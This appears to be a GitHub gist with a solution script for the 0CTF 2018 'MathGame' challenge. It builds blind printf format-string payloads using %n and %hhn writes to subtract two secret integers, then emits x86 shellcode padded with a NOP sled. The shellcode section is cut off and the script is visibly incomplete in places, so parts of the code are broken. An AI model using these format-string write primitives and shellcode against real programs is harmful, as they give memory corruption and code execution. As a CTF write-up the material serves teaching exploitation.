Skip to content

Instantly share code, notes, and snippets.

Last active April 2, 2018 14:38
Show Gist options
  • Save hellman/ea0ea9f5f2607b091e22389268ea2015 to your computer and use it in GitHub Desktop.
Save hellman/ea0ea9f5f2607b091e22389268ea2015 to your computer and use it in GitHub Desktop.
0CTF 2018 Quals - MathGame (Misc 343)
#-*- coding:utf-8 -*-
In this challenge we need to use blind printf in order to subtract to 32-bit integers.
The two main format operators needed are (arguments given for example)
(a) %5$*7$s - write string passed in the 5th argument padded to the length passed in the 7th argument.
(b) %5$n - write number of previously written bytes to the pointer given in the 5th argument.
1. We use (a) with (b) to copy two secret integers. Then we use (b) to zero-out all-bytes except one.
For example:
a1 a2 a3 a4
b1 b2 b3 b4
a1 00 00 00
b1 00 00 00
2. We use (a) twice and (b) to add the two bytes. We repeat this 255 times, because (a+255*b) % 256 = (a-b) % 256.
3. We write the resulting byte in the corresponding byte of the answer using (a) and (b).
3. We repeat this for each of the 4 bytes.
4. If during the real subtraction there were no carries between the words, then our answer is correct.
As there can be 3 carries, it happens with probability 1/8.
import sys
from struct import pack, unpack
def print_s(width_argno=None, value_argno=None):
res = "%"
if value_argno is None:
value_argno = zeroptr_argno
if value_argno:
res += str(value_argno) + "$"
if width_argno:
res += "*" + str(width_argno) + "$"
res += "s"
return res
def print_sz(sz):
res = "%"
res += str(sz)
res += "c"
return res
def store4(addr_argno):
return "%" + str(addr_argno) + "$n"
def store2(addr_argno):
return "%" + str(addr_argno) + "$hn"
def store1(addr_argno):
return "%" + str(addr_argno) + "$hhn"
def setfmt(fmt):
for i in xrange(len(fmt)):
assert payload[i] is None
payload[i] = fmt[i]
def setarg(argno, val):
s = pack("<I", val)
offset = (argno - 5) * 4
assert 0 <= offset <= 28
for i in xrange(4):
assert payload[offset+i] is None
payload[offset+i] = s[i]
def argno_addr(argno):
return 0xdead1000 + (argno-3) * 4
def reset():
global payload, fmt
fmt = ""
payload = [None] * 32
def out():
global fmt
for i in xrange(32):
if payload[i] is None:
payload[i] = "@"
def copy_word(src_argno, target_addr):
global fmt
fmt += print_s(width_argno=src_argno)
fmt += store4(addr_argno=12)
setarg(12, target_addr)
def copy_byte(src_argno, target_addr):
global fmt
fmt += print_s(width_argno=src_argno)
fmt += store1(addr_argno=12)
setarg(12, target_addr)
def zeroize_byte(addr):
global fmt
fmt += store1(addr_argno=12)
setarg(12, addr)
def zeroize_word(addr):
global fmt
fmt += store4(addr_argno=12)
setarg(12, addr)
def copy_sec_byte(byte_index):
copy_word(src_argno=3, target_addr=argno_addr(20)-byte_index)
copy_word(src_argno=4, target_addr=argno_addr(30)-byte_index)
def add_bytes():
global fmt
fmt += print_s(width_argno=20)
fmt += print_s(width_argno=30)
fmt += store1(addr_argno=12)
setarg(12, argno_addr(20))
def make_zero_ptr():
global fmt
val = zero_addr
for no in xrange(4):
fmt += print_sz(val & 0xff) + store1(12)
setarg(12, argno_addr(zeroptr_argno) + no)
val >>= 8
payload = None
fmt = None
answer_addr = 0xDEAD1800
zero_addr = 0xDEAD1000 + 0x404
zeroptr_argno = 40
for no in xrange(4):
for i in xrange(255):
copy_byte(src_argno=20, target_addr=answer_addr+no)
fmt = "\x00" * 32
# cat file
SC = (
# echo something
# SC = "\x68\x01\x01\x01\x01\x81\x34\x24\x45\x0b\x01\x01\x68\x4f\x52\x4b\x45\x68\x43\x4b\x20\x57\x68\x41\x54\x54\x41\x6a\x04\x58\x6a\x01\x5b\x89\xe1\x6a\x0e\x5a\xcd\x80"
assert len(SC) < 90
sys.stdout.write(SC.ljust(150, "\x90"))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment